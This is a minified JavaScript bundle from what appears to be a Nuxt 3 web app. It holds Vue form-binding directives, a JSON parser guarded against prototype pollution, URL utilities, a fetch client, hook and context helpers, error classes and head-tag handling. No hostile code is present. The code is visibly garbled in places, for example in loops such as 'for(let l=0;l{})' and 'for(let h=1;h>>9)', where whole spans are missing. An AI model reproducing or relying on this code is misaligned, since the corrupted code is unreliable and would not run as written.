_n=Symbol("_assign"),Bb={created(e,{modifiers:{lazy:t,trim:n,number:r}},o){e[_n]=zr(o);const s=r||o.props&&o.props.type==="number";zt(e,t?"change":"input",i=>{if(i.target.composing)return;let a=e.value;n&&(a=a.trim()),s&&(a=Wo(a)),e[_n](a)}),n&&zt(e,"change",()=>{e.value=e.value.trim()}),t||(zt(e,"compositionstart",Gd),zt(e,"compositionend",ia),zt(e,"change",ia))},mounted(e,{value:t}){e.value=t??""},beforeUpdate(e,{value:t,modifiers:{lazy:n,trim:r,number:o}},s){if(e[_n]=zr(s),e.composing)return;const i=(o||e.type==="number")&&!/^0\d/.test(e.value)?Wo(e.value):e.value,a=t??"";i!==a&&(document.activeElement===e&&e.type!=="range"&&(n||r&&e.value.trim()===a)||(e.value=a))}},Ub={deep:!0,created(e,t,n){e[_n]=zr(n),zt(e,"change",()=>{const r=e._modelValue,o=Jd(e),s=e.checked,i=e[_n];if(K(r)){const a=sl(r,o),l=a!==-1;if(s&&!l)i(r.concat(o));else if(!s&&l){const u=[...r];u.splice(a,1),i(u)}}else if(to(r)){const a=new Set(r);s?a.add(o):a.delete(o),i(a)}else i(wc(e,s))})},mounted:aa,beforeUpdate(e,t,n){e[_n]=zr(n),aa(e,t,n)}};function aa(e,{value:t,oldValue:n},r){e._modelValue=t,K(t)?e.checked=sl(t,r.props.value)>-1:to(t)?e.checked=t.has(r.props.value):t!==n&&(e.checked=io(t,wc(e,!0)))}function Jd(e){return"_value"in e?e._value:e.value}function wc(e,t){const n=t?"_trueValue":"_falseValue";return n in e?e[n]:t}const Ec=Ee({patchProp:Kd},Td);let Wn,la=!1;function Qd(){return Wn||(Wn=fd(Ec))}function Xd(){return Wn=la?Wn:dd(Ec),la=!0,Wn}const Cc=(...e)=>{const t=Qd().createApp(...e),{mount:n}=t;return t.mount=r=>{const o=xc(r);if(!o)return;const s=t._component;!Q(s)&&!s.render&&!s.template&&(s.template=o.innerHTML),o.innerHTML="";const i=n(o,!1,Sc(o));return o instanceof Element&&(o.removeAttribute("v-cloak"),o.setAttribute("data-v-app","")),i},t},Yd=(...e)=>{const t=Xd().createApp(...e),{mount:n}=t;return t.mount=r=>{const o=xc(r);if(o)return n(o,!0,Sc(o))},t};function Sc(e){if(e instanceof SVGElement)return"svg";if(typeof MathMLElement=="function"&&e instanceof MathMLElement)return"mathml"}function xc(e){return be(e)?document.querySelector(e):e}const Zd=/"(?:_|\\u0{2}5[Ff]){2}(?:p|\\u0{2}70)(?:r|\\u0{2}72)(?:o|\\u0{2}6[Ff])(?:t|\\u0{2}74)(?:o|\\u0{2}6[Ff])(?:_|\\u0{2}5[Ff]){2}"\s*:/,ep=/"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/,tp=/^\s*["[{]|^\s*-?\d{1,16}(\.\d{1,17})?([Ee][+-]?\d+)?\s*$/;function np(e,t){if(e==="__proto__"||e==="constructor"&&t&&typeof t=="object"&&"prototype"in t){rp(e);return}return t}function rp(e){console.warn(`[destr] Dropping "${e}" key to prevent prototype pollution.`)}function Gr(e,t={}){if(typeof e!="string")return e;const n=e.trim();if(e[0]==='"'&&e.endsWith('"')&&!e.includes("\\"))return n.slice(1,-1);if(n.length<=9){const r=n.toLowerCase();if(r==="true")return!0;if(r==="false")return!1;if(r==="undefined")return;if(r==="null")return null;if(r==="nan")return Number.NaN;if(r==="infinity")return Number.POSITIVE_INFINITY;if(r==="-infinity")return Number.NEGATIVE_INFINITY}if(!tp.test(e)){if(t.strict)throw new SyntaxError("[destr] Invalid JSON");return e}try{if(Zd.test(e)||ep.test(e)){if(t.strict)throw new Error("[destr] Possible prototype pollution");return JSON.parse(e,np)}return JSON.parse(e)}catch(r){if(t.strict)throw r;return e}}const op=/#/g,sp=/&/g,ip=/\//g,ap=/=/g,oi=/\+/g,lp=/%5e/gi,cp=/%60/gi,up=/%7c/gi,fp=/%20/gi;function dp(e){return encodeURI(""+e).replace(up,"|")}function cs(e){return dp(typeof e=="string"?e:JSON.stringify(e)).replace(oi,"%2B").replace(fp,"+").replace(op,"%23").replace(sp,"%26").replace(cp,"`").replace(lp,"^").replace(ip,"%2F")}function Ho(e){return cs(e).replace(ap,"%3D")}function Jr(e=""){try{return decodeURIComponent(""+e)}catch{return""+e}}function pp(e){return Jr(e.replace(oi," "))}function hp(e){return Jr(e.replace(oi," "))}function gp(e=""){const t={};e[0]==="?"&&(e=e.slice(1));for(const n of e.split("&")){const r=n.match(/([^=]+)=?(.*)/)||[];if(r.length<2)continue;const o=pp(r[1]);if(o==="__proto__"||o==="constructor")continue;const s=hp(r[2]||"");t[o]===void 0?t[o]=s:Array.isArray(t[o])?t[o].push(s):t[o]=[t[o],s]}return t}function mp(e,t){return(typeof t=="number"||typeof t=="boolean")&&(t=String(t)),t?Array.isArray(t)?t.map(n=>`${Ho(e)}=${cs(n)}`).join("&"):`${Ho(e)}=${cs(t)}`:Ho(e)}function yp(e){return Object.keys(e).filter(t=>e[t]!==void 0).map(t=>mp(t,e[t])).filter(Boolean).join("&")}const bp=/^[\s\w\0+.-]{2,}:([/\\]{1,2})/,vp=/^[\s\w\0+.-]{2,}:([/\\]{2})?/,_p=/^([/\\]\s*){2,}[^/\\]/,wp=/^[\s\0]*(blob|data|javascript|vbscript):$/i,Ep=/\/$|\/\?|\/#/,Cp=/^\.?\//;function rn(e,t={}){return typeof t=="boolean"&&(t={acceptRelative:t}),t.strict?bp.test(e):vp.test(e)||(t.acceptRelative?_p.test(e):!1)}function Sp(e){return!!e&&wp.test(e)}function us(e="",t){return t?Ep.test(e):e.endsWith("/")}function si(e="",t){if(!t)return(us(e)?e.slice(0,-1):e)||"/";if(!us(e,!0))return e||"/";let n=e,r="";const o=e.indexOf("#");o>=0&&(n=e.slice(0,o),r=e.slice(o));const[s,...i]=n.split("?");return((s.endsWith("/")?s.slice(0,-1):s)||"/")+(i.length>0?`?${i.join("?")}`:"")+r}function fs(e="",t){if(!t)return e.endsWith("/")?e:e+"/";if(us(e,!0))return e||"/";let n=e,r="";const o=e.indexOf("#");if(o>=0&&(n=e.slice(0,o),r=e.slice(o),!n))return r;const[s,...i]=n.split("?");return s+"/"+(i.length>0?`?${i.join("?")}`:"")+r}function xp(e=""){return e.startsWith("/")}function ca(e=""){return xp(e)?e:"/"+e}function Tp(e,t){if(Rc(t)||rn(e))return e;const n=si(t);return e.startsWith(n)?e:ii(n,e)}function ua(e,t){if(Rc(t))return e;const n=si(t);if(!e.startsWith(n))return e;const r=e.slice(n.length);return r[0]==="/"?r:"/"+r}function Tc(e,t){const n=mo(e),r={...gp(n.search),...t};return n.search=yp(r),Pp(n)}function Rc(e){return!e||e==="/"}function Rp(e){return e&&e!=="/"}function ii(e,...t){let n=e||"";for(const r of t.filter(o=>Rp(o)))if(n){const o=r.replace(Cp,"");n=fs(n)+o}else n=r;return n}function Ac(...e){var i,a,l,u;const t=/\/(?!\/)/,n=e.filter(Boolean),r=[];let o=0;for(const c of n)if(!(!c||c==="/")){for(const[f,d]of c.split(t).entries())if(!(!d||d===".")){if(d===".."){if(r.length===1&&rn(r[0]))continue;r.pop(),o--;continue}if(f===1&&((i=r[r.length-1])!=null&&i.endsWith(":/"))){r[r.length-1]+="/"+d;continue}r.push(d),o++}}let s=r.join("/");return o>=0?(a=n[0])!=null&&a.startsWith("/")&&!s.startsWith("/")?s="/"+s:(l=n[0])!=null&&l.startsWith("./")&&!s.startsWith("./")&&(s="./"+s):s="../".repeat(-1*o)+s,(u=n[n.length-1])!=null&&u.endsWith("/")&&!s.endsWith("/")&&(s+="/"),s}function Ap(e,t,n={}){return n.trailingSlash||(e=fs(e),t=fs(t)),n.leadingSlash||(e=ca(e),t=ca(t)),n.encoding||(e=Jr(e),t=Jr(t)),e===t}const Pc=Symbol.for("ufo:protocolRelative");function mo(e="",t){const n=e.match(/^[\s\0]*(blob:|data:|javascript:|vbscript:)(.*)/i);if(n){const[,f,d=""]=n;return{protocol:f.toLowerCase(),pathname:d,href:f+d,auth:"",host:"",search:"",hash:""}}if(!rn(e,{acceptRelative:!0}))return t?mo(t+e):fa(e);const[,r="",o,s=""]=e.replace(/\\/g,"/").match(/^[\s\0]*([\w+.-]{2,}:)?\/\/([^/@]+@)?(.*)/)||[],[,i="",a=""]=s.match(/([^#/?]*)(.*)?/)||[],{pathname:l,search:u,hash:c}=fa(a.replace(/\/(?=[A-Za-z]:)/,""));return{protocol:r.toLowerCase(),auth:o?o.slice(0,Math.max(0,o.length-1)):"",host:i,pathname:l,search:u,hash:c,[Pc]:!r}}function fa(e=""){const[t="",n="",r=""]=(e.match(/([^#?]*)(\?[^#]*)?(#.*)?/)||[]).splice(1);return{pathname:t,search:n,hash:r}}function Pp(e){const t=e.pathname||"",n=e.search?(e.search.startsWith("?")?"":"?")+e.search:"",r=e.hash||"",o=e.auth?e.auth+"@":"",s=e.host||"";return(e.protocol||e[Pc]?(e.protocol||"")+"//":"")+o+s+t+n+r}class kp extends Error{constructor(t,n){super(t,n),this.name="FetchError",n!=null&&n.cause&&!this.cause&&(this.cause=n.cause)}}function Ip(e){var l,u,c,f,d;const t=((l=e.error)==null?void 0:l.message)||((u=e.error)==null?void 0:u.toString())||"",n=((c=e.request)==null?void 0:c.method)||((f=e.options)==null?void 0:f.method)||"GET",r=((d=e.request)==null?void 0:d.url)||String(e.request)||"/",o=`[${n}] ${JSON.stringify(r)}`,s=e.response?`${e.response.status} ${e.response.statusText}`:"",i=`${o}: ${s}${t?` ${t}`:""}`,a=new kp(i,e.error?{cause:e.error}:void 0);for(const h of["request","options","response"])Object.defineProperty(a,h,{get(){return e[h]}});for(const[h,b]of[["data","_data"],["status","status"],["statusCode","status"],["statusText","statusText"],["statusMessage","statusText"]])Object.defineProperty(a,h,{get(){return e.response&&e.response[b]}});return a}const Op=new Set(Object.freeze(["PATCH","POST","PUT","DELETE"]));function da(e="GET"){return Op.has(e.toUpperCase())}function Lp(e){if(e===void 0)return!1;const t=typeof e;return t==="string"||t==="number"||t==="boolean"||t===null?!0:t!=="object"?!1:Array.isArray(e)?!0:e.buffer?!1:e.constructor&&e.constructor.name==="Object"||typeof e.toJSON=="function"}const Mp=new Set(["image/svg","application/xml","application/xhtml","application/html"]),Np=/^application\/(?:[\w!#$%&*.^`~-]*\+)?json(;.+)?$/i;function $p(e=""){if(!e)return"json";const t=e.split(";").shift()||"";return Np.test(t)?"json":Mp.has(t)||t.startsWith("text/")?"text":"blob"}function Hp(e,t,n=globalThis.Headers){const r={...t,...e};if(t!=null&&t.params&&(e!=null&&e.params)&&(r.params={...t==null?void 0:t.params,...e==null?void 0:e.params}),t!=null&&t.query&&(e!=null&&e.query)&&(r.query={...t==null?void 0:t.query,...e==null?void 0:e.query}),t!=null&&t.headers&&(e!=null&&e.headers)){r.headers=new n((t==null?void 0:t.headers)||{});for(const[o,s]of new n((e==null?void 0:e.headers)||{}))r.headers.set(o,s)}return r}const jp=new Set([408,409,425,429,500,502,503,504]),Fp=new Set([101,204,205,304]);function kc(e={}){const{fetch:t=globalThis.fetch,Headers:n=globalThis.Headers,AbortController:r=globalThis.AbortController}=e;async function o(a){const l=a.error&&a.error.name==="AbortError"&&!a.options.timeout||!1;if(a.options.retry!==!1&&!l){let c;typeof a.options.retry=="number"?c=a.options.retry:c=da(a.options.method)?0:1;const f=a.response&&a.response.status||500;if(c>0&&(Array.isArray(a.options.retryStatusCodes)?a.options.retryStatusCodes.includes(f):jp.has(f))){const d=a.options.retryDelay||0;return d>0&&await new Promise(h=>setTimeout(h,d)),s(a.request,{...a.options,retry:c-1})}}const u=Ip(a);throw Error.captureStackTrace&&Error.captureStackTrace(u,s),u}const s=async function(l,u={}){var h;const c={request:l,options:Hp(u,e.defaults,n),response:void 0,error:void 0};c.options.method=(h=c.options.method)==null?void 0:h.toUpperCase(),c.options.onRequest&&await c.options.onRequest(c),typeof c.request=="string"&&(c.options.baseURL&&(c.request=Tp(c.request,c.options.baseURL)),(c.options.query||c.options.params)&&(c.request=Tc(c.request,{...c.options.params,...c.options.query}))),c.options.body&&da(c.options.method)&&(Lp(c.options.body)?(c.options.body=typeof c.options.body=="string"?c.options.body:JSON.stringify(c.options.body),c.options.headers=new n(c.options.headers||{}),c.options.headers.has("content-type")||c.options.headers.set("content-type","application/json"),c.options.headers.has("accept")||c.options.headers.set("accept","application/json")):("pipeTo"in c.options.body&&typeof c.options.body.pipeTo=="function"||typeof c.options.body.pipe=="function")&&("duplex"in c.options||(c.options.duplex="half")));let f;if(!c.options.signal&&c.options.timeout){const b=new r;f=setTimeout(()=>b.abort(),c.options.timeout),c.options.signal=b.signal}try{c.response=await t(c.request,c.options)}catch(b){return c.error=b,c.options.onRequestError&&await c.options.onRequestError(c),await o(c)}finally{f&&clearTimeout(f)}if(c.response.body&&!Fp.has(c.response.status)&&c.options.method!=="HEAD"){const b=(c.options.parseResponse?"json":c.options.responseType)||$p(c.response.headers.get("content-type")||"");switch(b){case"json":{const E=await c.response.text(),A=c.options.parseResponse||Gr;c.response._data=A(E);break}case"stream":{c.response._data=c.response.body;break}default:c.response._data=await c.response[b]()}}return c.options.onResponse&&await c.options.onResponse(c),!c.options.ignoreResponseError&&c.response.status>=400&&c.response.status<600?(c.options.onResponseError&&await c.options.onResponseError(c),await o(c)):c.response},i=async function(l,u){return(await s(l,u))._data};return i.raw=s,i.native=(...a)=>t(...a),i.create=(a={})=>kc({...e,defaults:{...e.defaults,...a}}),i}const ai=function(){if(typeof globalThis<"u")return globalThis;if(typeof self<"u")return self;if(typeof window<"u")return window;if(typeof global<"u")return global;throw new Error("unable to locate global object")}(),Bp=ai.fetch||(()=>Promise.reject(new Error("[ofetch] global.fetch is not supported!"))),Up=ai.Headers,Dp=ai.AbortController,qp=kc({fetch:Bp,Headers:Up,AbortController:Dp}),Vp=qp,Wp=()=>{var e;return((e=window==null?void 0:window.__NUXT__)==null?void 0:e.config)||{}},Qr=Wp().app,Kp=()=>Qr.baseURL,zp=()=>Qr.buildAssetsDir,li=(...e)=>Ac(Ic(),zp(),...e),Ic=(...e)=>{const t=Qr.cdnURL||Qr.baseURL;return e.length?Ac(t,...e):t};globalThis.__buildAssetsURL=li,globalThis.__publicAssetsURL=Ic;globalThis.$fetch||(globalThis.$fetch=Vp.create({baseURL:Kp()}));function ds(e,t={},n){for(const r in e){const o=e[r],s=n?`${n}:${r}`:r;typeof o=="object"&&o!==null?ds(o,t,s):typeof o=="function"&&(t[s]=o)}return t}const Gp={run:e=>e()},Jp=()=>Gp,Oc=typeof console.createTask<"u"?console.createTask:Jp;function Qp(e,t){const n=t.shift(),r=Oc(n);return e.reduce((o,s)=>o.then(()=>r.run(()=>s(...t))),Promise.resolve())}function Xp(e,t){const n=t.shift(),r=Oc(n);return Promise.all(e.map(o=>r.run(()=>o(...t))))}function jo(e,t){for(const n of[...e])n(t)}class Yp{constructor(){this._hooks={},this._before=void 0,this._after=void 0,this._deprecatedMessages=void 0,this._deprecatedHooks={},this.hook=this.hook.bind(this),this.callHook=this.callHook.bind(this),this.callHookWith=this.callHookWith.bind(this)}hook(t,n,r={}){if(!t||typeof n!="function")return()=>{};const o=t;let s;for(;this._deprecatedHooks[t];)s=this._deprecatedHooks[t],t=s.to;if(s&&!r.allowDeprecated){let i=s.message;i||(i=`${o} hook has been deprecated`+(s.to?`, please use ${s.to}`:"")),this._deprecatedMessages||(this._deprecatedMessages=new Set),this._deprecatedMessages.has(i)||(console.warn(i),this._deprecatedMessages.add(i))}if(!n.name)try{Object.defineProperty(n,"name",{get:()=>"_"+t.replace(/\W+/g,"_")+"_hook_cb",configurable:!0})}catch{}return this._hooks[t]=this._hooks[t]||[],this._hooks[t].push(n),()=>{n&&(this.removeHook(t,n),n=void 0)}}hookOnce(t,n){let r,o=(...s)=>(typeof r=="function"&&r(),r=void 0,o=void 0,n(...s));return r=this.hook(t,o),r}removeHook(t,n){if(this._hooks[t]){const r=this._hooks[t].indexOf(n);r!==-1&&this._hooks[t].splice(r,1),this._hooks[t].length===0&&delete this._hooks[t]}}deprecateHook(t,n){this._deprecatedHooks[t]=typeof n=="string"?{to:n}:n;const r=this._hooks[t]||[];delete this._hooks[t];for(const o of r)this.hook(t,o)}deprecateHooks(t){Object.assign(this._deprecatedHooks,t);for(const n in t)this.deprecateHook(n,t[n])}addHooks(t){const n=ds(t),r=Object.keys(n).map(o=>this.hook(o,n[o]));return()=>{for(const o of r.splice(0,r.length))o()}}removeHooks(t){const n=ds(t);for(const r in n)this.removeHook(r,n[r])}removeAllHooks(){for(const t in this._hooks)delete this._hooks[t]}callHook(t,...n){return n.unshift(t),this.callHookWith(Qp,t,...n)}callHookParallel(t,...n){return n.unshift(t),this.callHookWith(Xp,t,...n)}callHookWith(t,n,...r){const o=this._before||this._after?{name:n,args:r,context:{}}:void 0;this._before&&jo(this._before,o);const s=t(n in this._hooks?[...this._hooks[n]]:[],r);return s instanceof Promise?s.finally(()=>{this._after&&o&&jo(this._after,o)}):(this._after&&o&&jo(this._after,o),s)}beforeEach(t){return this._before=this._before||[],this._before.push(t),()=>{if(this._before!==void 0){const n=this._before.indexOf(t);n!==-1&&this._before.splice(n,1)}}}afterEach(t){return this._after=this._after||[],this._after.push(t),()=>{if(this._after!==void 0){const n=this._after.indexOf(t);n!==-1&&this._after.splice(n,1)}}}}function Lc(){return new Yp}function Zp(e={}){let t,n=!1;const r=i=>{if(t&&t!==i)throw new Error("Context conflict")};let o;if(e.asyncContext){const i=e.AsyncLocalStorage||globalThis.AsyncLocalStorage;i?o=new i:console.warn("[unctx] `AsyncLocalStorage` is not provided.")}const s=()=>{if(o&&t===void 0){const i=o.getStore();if(i!==void 0)return i}return t};return{use:()=>{const i=s();if(i===void 0)throw new Error("Context is not available");return i},tryUse:()=>s(),set:(i,a)=>{a||r(i),t=i,n=!0},unset:()=>{t=void 0,n=!1},call:(i,a)=>{r(i),t=i;try{return o?o.run(i,a):a()}finally{n||(t=void 0)}},async callAsync(i,a){t=i;const l=()=>{t=i},u=()=>t===i?l:void 0;ps.add(u);try{const c=o?o.run(i,a):a();return n||(t=void 0),await c}finally{ps.delete(u)}}}}function eh(e={}){const t={};return{get(n,r={}){return t[n]||(t[n]=Zp({...e,...r})),t[n],t[n]}}}const Xr=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof global<"u"?global:typeof window<"u"?window:{},pa="__unctx__",th=Xr[pa]||(Xr[pa]=eh()),nh=(e,t={})=>th.get(e,t),ha="__unctx_async_handlers__",ps=Xr[ha]||(Xr[ha]=new Set);function nr(e){const t=[];for(const o of ps){const s=o();s&&t.push(s)}const n=()=>{for(const o of t)o()};let r=e();return r&&typeof r=="object"&&"catch"in r&&(r=r.catch(o=>{throw n(),o})),[r,n]}const Mc=nh("nuxt-app",{asyncContext:!1}),rh="__nuxt_plugin";function oh(e){let t=0;const n={_scope:Us(),provide:void 0,globalName:"nuxt",versions:{get nuxt(){return"3.11.2"},get vue(){return n.vueApp.version}},payload:Ne({data:{},state:{},once:new Set,_errors:{},...window.__NUXT__??{}}),static:{data:{}},runWithContext:o=>n._scope.run(()=>ah(n,o)),isHydrating:!0,deferHydration(){if(!n.isHydrating)return()=>{};t++;let o=!1;return()=>{if(!o&&(o=!0,t--,t===0))return n.isHydrating=!1,n.callHook("app:suspense:resolve")}},_asyncDataPromises:{},_asyncData:{},_payloadRevivers:{},...e};n.hooks=Lc(),n.hook=n.hooks.hook,n.callHook=n.hooks.callHook,n.provide=(o,s)=>{const i="$"+o;Sr(n,i,s),Sr(n.vueApp.config.globalProperties,i,s)},Sr(n.vueApp,"$nuxt",n),Sr(n.vueApp.config.globalProperties,"$nuxt",n);{window.addEventListener("nuxt.preloadError",s=>{n.callHook("app:chunkError",{error:s.payload})}),window.useNuxtApp=window.useNuxtApp||ve;const o=n.hook("app:error",(...s)=>{console.error("[nuxt] error caught during app initialization",...s)});n.hook("app:mounted",o)}const r=n.payload.config;return n.provide("config",r),n}async function sh(e,t){if(t.hooks&&e.hooks.addHooks(t.hooks),typeof t=="function"){const{provide:n}=await e.runWithContext(()=>t(e))||{};if(n&&typeof n=="object")for(const r in n)e.provide(r,n[r])}}async function ih(e,t){const n=[],r=[],o=[],s=[];let i=0;async function a(l){var c;const u=((c=l.dependsOn)==null?void 0:c.filter(f=>t.some(d=>d._name===f)&&!n.includes(f)))??[];if(u.length>0)r.push([new Set(u),l]);else{const f=sh(e,l).then(async()=>{l._name&&(n.push(l._name),await Promise.all(r.map(async([d,h])=>{d.has(l._name)&&(d.delete(l._name),d.size===0&&(i++,await a(h)))})))});l.parallel?o.push(f.catch(d=>s.push(d))):await f}}for(const l of t)await a(l);if(await Promise.all(o),i)for(let l=0;l{}),e,{[rh]:!0,_name:t})}function ah(e,t,n){const r=()=>t();return Mc.set(e),e.vueApp.runWithContext(r)}function lh(){var t;let e;return ei()&&(e=(t=nn())==null?void 0:t.appContext.app.$nuxt),e=e||Mc.tryUse(),e||null}function ve(){const e=lh();if(!e)throw new Error("[nuxt] instance unavailable");return e}function ci(e){return ve().$config}function Sr(e,t,n){Object.defineProperty(e,t,{get:()=>n})}function ch(e,t){return{ctx:{table:e},matchAll:n=>$c(n,e)}}function Nc(e){const t={};for(const n in e)t[n]=n==="dynamic"?new Map(Object.entries(e[n]).map(([r,o])=>[r,Nc(o)])):new Map(Object.entries(e[n]));return t}function uh(e){return ch(Nc(e))}function $c(e,t,n){e.endsWith("/")&&(e=e.slice(0,-1)||"/");const r=[];for(const[s,i]of ga(t.wildcard))(e===s||e.startsWith(s+"/"))&&r.push(i);for(const[s,i]of ga(t.dynamic))if(e.startsWith(s+"/")){const a="/"+e.slice(s.length).split("/").splice(2).join("/");r.push(...$c(a,i))}const o=t.static.get(e);return o&&r.push(o),r.filter(Boolean)}function ga(e){return[...e.entries()].sort((t,n)=>t[0].length-n[0].length)}function Fo(e){if(e===null||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);return t!==null&&t!==Object.prototype&&Object.getPrototypeOf(t)!==null||Symbol.iterator in e?!1:Symbol.toStringTag in e?Object.prototype.toString.call(e)==="[object Module]":!0}function hs(e,t,n=".",r){if(!Fo(t))return hs(e,{},n,r);const o=Object.assign({},t);for(const s in e){if(s==="__proto__"||s==="constructor")continue;const i=e[s];i!=null&&(r&&r(o,s,i,n)||(Array.isArray(i)&&Array.isArray(o[s])?o[s]=[...i,...o[s]]:Fo(i)&&Fo(o[s])?o[s]=hs(i,o[s],(n?`${n}.`:"")+s.toString(),r):o[s]=i))}return o}function ui(e){return(...t)=>t.reduce((n,r)=>hs(n,r,"",e),{})}const fi=ui(),fh=ui((e,t,n)=>{if(e[t]!==void 0&&typeof n=="function")return e[t]=n(e[t]),!0});function dh(e,t){try{return t in e}catch{return!1}}var ph=Object.defineProperty,hh=(e,t,n)=>t in e?ph(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,Wt=(e,t,n)=>(hh(e,typeof t!="symbol"?t+"":t,n),n);class gs extends Error{constructor(t,n={}){super(t,n),Wt(this,"statusCode",500),Wt(this,"fatal",!1),Wt(this,"unhandled",!1),Wt(this,"statusMessage"),Wt(this,"data"),Wt(this,"cause"),n.cause&&!this.cause&&(this.cause=n.cause)}toJSON(){const t={message:this.message,statusCode:ys(this.statusCode,500)};return this.statusMessage&&(t.statusMessage=Hc(this.statusMessage)),this.data!==void 0&&(t.data=this.data),t}}Wt(gs,"__h3_error__",!0);function ms(e){if(typeof e=="string")return new gs(e);if(gh(e))return e;const t=new gs(e.message??e.statusMessage??"",{cause:e.cause||e});if(dh(e,"stack"))try{Object.defineProperty(t,"stack",{get(){return e.stack}})}catch{try{t.stack=e.stack}catch{}}if(e.data&&(t.data=e.data),e.statusCode?t.statusCode=ys(e.statusCode,t.statusCode):e.status&&(t.statusCode=ys(e.status,t.statusCode)),e.statusMessage?t.statusMessage=e.statusMessage:e.statusText&&(t.statusMessage=e.statusText),t.statusMessage){const n=t.statusMessage;Hc(t.statusMessage)!==n&&console.warn("[h3] Please prefer using `message` for longer error messages instead of `statusMessage`. In the future, `statusMessage` will be sanitized by default.")}return e.fatal!==void 0&&(t.fatal=e.fatal),e.unhandled!==void 0&&(t.unhandled=e.unhandled),t}function gh(e){var t;return((t=e==null?void 0:e.constructor)==null?void 0:t.__h3_error__)===!0}const mh=/[^\u0009\u0020-\u007E]/g;function Hc(e=""){return e.replace(mh,"")}function ys(e,t=200){return!e||(typeof e=="string"&&(e=Number.parseInt(e,10)),e<100||e>999)?t:e}const yh=Symbol("layout-meta"),yo=Symbol("route"),ft=()=>{var e;return(e=ve())==null?void 0:e.$router},jc=()=>ei()?Fe(yo,ve()._route):ve()._route;const bh=()=>{try{if(ve()._processingMiddleware)return!0}catch{return!1}return!1},Db=(e,t)=>{e||(e="/");const n=typeof e=="string"?e:Tc(e.path||"/",e.query||{})+(e.hash||"");if(t!=null&&t.open){const{target:a="_blank",windowFeatures:l={}}=t.open,u=Object.entries(l).filter(([c,f])=>f!==void 0).map(([c,f])=>`${c.toLowerCase()}=${f}`).join(", ");return open(n,a,u),Promise.resolve()}const r=(t==null?void 0:t.external)||rn(n,{acceptRelative:!0});if(r){if(!(t!=null&&t.external))throw new Error("Navigating to an external URL is not allowed by default. Use `navigateTo(url, { external: true })`.");const a=mo(n).protocol;if(a&&Sp(a))throw new Error(`Cannot navigate to a URL with '${a}' protocol.`)}const o=bh();if(!r&&o)return e;const s=ft(),i=ve();return r?(i._scope.stop(),t!=null&&t.replace?location.replace(n):location.href=n,o?i.isHydrating?new Promise(()=>{}):!1:Promise.resolve()):t!=null&&t.replace?s.replace(e):s.push(e)},Fc="__nuxt_error",bo=()=>Tl(ve().payload,"error"),un=e=>{const t=vo(e);try{const n=ve(),r=bo();n.hooks.callHook("app:error",t),r.value=r.value||t}catch{throw t}return t},vh=async(e={})=>{const t=ve(),n=bo();t.callHook("app:error:cleared",e),e.redirect&&await ft().replace(e.redirect),n.value=null},_h=e=>!!e&&typeof e=="object"&&Fc in e,vo=e=>{const t=ms(e);return Object.defineProperty(t,Fc,{value:!0,configurable:!1,writable:!1}),t},wh=-1,Eh=-2,Ch=-3,Sh=-4,xh=-5,Th=-6;function Rh(e,t){return Ah(JSON.parse(e),t)}function Ah(e,t){if(typeof e=="number")return o(e,!0);if(!Array.isArray(e)||e.length===0)throw new Error("Invalid input");const n=e,r=Array(n.length);function o(s,i=!1){if(s===wh)return;if(s===Ch)return NaN;if(s===Sh)return 1/0;if(s===xh)return-1/0;if(s===Th)return-0;if(i)throw new Error("Invalid input");if(s in r)return r[s];const a=n[s];if(!a||typeof a!="object")r[s]=a;else if(Array.isArray(a))if(typeof a[0]=="string"){const l=a[0],u=t==null?void 0:t[l];if(u)return r[s]=u(o(a[1]));switch(l){case"Date":r[s]=new Date(a[1]);break;case"Set":const c=new Set;r[s]=c;for(let h=1;h>>9)+65536).toString(16).substring(1,8).toLowerCase()}function ma(e){return e._h||di(e._d?e._d:`${e.tag}:${e.textContent||e.innerHTML||""}:${Object.entries(e.props).map(([t,n])=>`${t}:${String(n)}`).join(",")}`)}function Uc(e,t){const{props:n,tag:r}=e;if(Oh.includes(r))return r;if(r==="link"&&n.rel==="canonical")return"canonical";if(n.charset)return"charset";const o=["id"];r==="meta"&&o.push("name","property","http-equiv");for(const s of o)if(typeof n[s]<"u"){const i=String(n[s]);return`${r}:${s}:${i}`}return!1}function ya(e,t){return e==null?t||null:typeof e=="function"?e(t):e}async function Mh(e,t,n){const r={tag:e,props:await Dc(typeof t=="object"&&typeof t!="function"&&!(t instanceof Promise)?{...t}:{[["script","noscript","style"].includes(e)?"innerHTML":"textContent"]:t},["templateParams","titleTemplate"].includes(e))};return Bc.forEach(o=>{const s=typeof r.props[o]<"u"?r.props[o]:n[o];typeof s<"u"&&((!["innerHTML","textContent","children"].includes(o)||kh.includes(r.tag))&&(r[o==="children"?"innerHTML":o]=s),delete r.props[o])}),r.props.body&&(r.tagPosition="bodyClose",delete r.props.body),r.tag==="script"&&typeof r.innerHTML=="object"&&(r.innerHTML=JSON.stringify(r.innerHTML),r.props.type=r.props.type||"application/json"),Array.isArray(r.props.content)?r.props.content.map(o=>({...r,props:{...r.props,content:o}})):r}function Nh(e,t){var r;const n=e==="class"?" ":";";return typeof t=="object"&&!Array.isArray(t)&&(t=Object.entries(t).filter(([,o])=>o).map(([o,s])=>e==="style"?`${o}:${s}`:o)),(r=String(Array.isArray(t)?t.join(n):t))==null?void 0:r.split(n).filter(o=>o.trim()).filter(Boolean).join(n)}async function Dc(e,t){for(const n of Object.keys(e)){if(["class","style"].includes(n)){e[n]=Nh(n,e[n]);continue}if(e[n]instanceof Promise&&(e[n]=await e[n]),!t&&!Bc.includes(n)){const r=String(e[n]),o=n.startsWith("data-");r==="true"||r===""?e[n]=o?"true":!0:e[n]||(o&&r==="false"?e[n]="false":delete e[n])}}return e}const $h=10;async function Hh(e){const t=[];return Object.entries(e.resolvedInput).filter(([n,r])=>typeof r<"u"&&Ih.includes(n)).forEach(([n,r])=>{const o=Ph(r);t.push(...o.map(s=>Mh(n,s,e)).flat())}),(await Promise.all(t)).flat().filter(Boolean).map((n,r)=>(n._e=e._i,e.mode&&(n._m=e.mode),n._p=(e._i<<$h)+r,n))}const ba={base:-10,title:10},va={critical:-80,high:-10,low:20};function Yr(e){let t=100;const n=e.tagPriority;return typeof 